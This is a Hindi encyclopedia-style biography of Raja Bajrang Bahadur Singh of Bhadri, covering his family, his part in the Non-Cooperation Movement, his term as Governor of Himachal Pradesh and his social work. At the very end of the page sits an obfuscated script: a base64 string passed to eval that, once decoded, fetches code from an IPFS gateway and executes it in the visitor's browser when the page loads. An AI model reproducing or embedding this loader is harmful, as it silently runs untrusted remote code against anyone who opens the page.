राजा बजरंग बहादुर सिंह
राजा बजरंग बहादुर सिंह
| |
[[चित्र:Raja Bajrang Bahadur Singh Bhadri.jpg|राजा बजरंग बहादुर सिंह साथ जवाहर लाल नेहरु|200px|center]]
| |
पूरा नाम | राजा बजरंग बहादुर सिंह |
जन्म | 1905 |
जन्म भूमि | प्रतापगढ़ |
मृत्यु | 1970 |
पति/पत्नी | रानी गिरिजा देवी |
संतान | राजा उदय प्रताप सिंह (भतीजे है, जिन्हें गोद लिया) |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी एवं हिमाचल प्रदेश के राज्यपाल |
पार्टी | कांग्रेस |
पद | द्वितीय राज्यपाल (हिमाचल प्रदेश) |
भाषा | अंग्रेज़ी, हिन्दी, अवधी |
पुरस्कार-उपाधि | राय |
विशेष योगदान | असहयोग आन्दोलन |
रचनाएँ | हाउ टू ट्रेन योर डॉग |
अद्यतन | 13:10, २ अप्रैल २०१३ (IST) |
राजा राय बजरंग बहादुर सिंह (1905-1970) स्वतंत्रता सेनानी व हिमाचल प्रदेश के राज्यपाल थे। वे अवध प्रतापगढ़ की रियासत भदरी के राजा थे।
संक्षिप्त परिचय
thumb|250px|राजा बजरंग बहादुर सिंह
Raja Bajrang Bahadur Singh
राजा बजरंग बहादुर सिंह का जन्म सन 1905 में उत्तर प्रदेश के प्रतापगढ़ मे भदरी नरेश राजा किशन प्रसाद सिंह के घर हुआ। आपके दो भाई भद्रेश्वर प्रताप सिंह और त्रिलोचन प्रताप सिंह थे लेकिन भदरी नरेश के ज्येष्ठ पुत्र होने के कारण पिता की रियासत के राजा आप बने। आप राजा साहब भदरी और राजा राय साहब जैसे उपनामो भी जाने जाते थे।
विवाह
वर्ष 1926 मे राजा बजरंग बहादुर सिंह का विवाह अजयगढ़ के महाराजा पुण्य प्रताप सिंह और महारानी रुक्मणी देवी की पुत्री रानी गिरिजा देवी से हुआ। उदय प्रताप सिंह राजा बजरंग बहादुर के पुत्र है।
स्वतंत्रता संग्राम से जुड़ाव
बतौर स्वतंत्रता संग्राम सेनानी राजा बजरंग बहादुर सिंह कई आंदोलनो मे सक्रिय भूमिका निभाई। स्वतंत्रता संग्राम के इतिहास मे इनकी रियासत भदरी का कई स्थानो पर जिक्र है। महात्मा गाँधी के असहयोग आंदोलन का राजा भदरी ने समर्थन किया और असहयोग आंदोलन मे अपनी सक्रिय भूमिका दर्ज कराते हुए बजरंग बहादुर सिंह ने विदेशी वस्त्रो का बहिष्कार करकपड़ो की होली जलायी।
राज्यपाल पद
स्वतंत्रता प्राप्ति के बाद वर्ष 1955 मे राजा बजरंग बहादुर हिमाचल प्रदेश के राज्यपाल बने।1 जनवरी 1955 को राज्यपाल पद पर नियुक्ति हुई और 13 अगस्त 1963 तक इस पद पर कार्यरत रहे।
सामाजिक जीवन
देश के पहले कृषि विश्वविद्यालय अर्थात गोविंद बल्लभ पंत युनिवर्सिटी ऑफ़ एग्रिकल्चर एंड टेक्नॉलोजी के संस्थापक सदस्य व उपकुलपति थे। आपने "हाउ टू ट्रेन योर डॉग" नामक पुस्तक भी लिखी। राय साहब बजरंग ने हिंद फ्लाइंग क्लब की स्थापना की थी।
निधन
वर्ष 1970 मे एक बीमार रहने के कारण देश के एक कुशल प्रशासक, स्वतंत्रता संग्राम सेनानी, समाजसेवी राजा बजरंग बहादुर सिंह का निधन हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>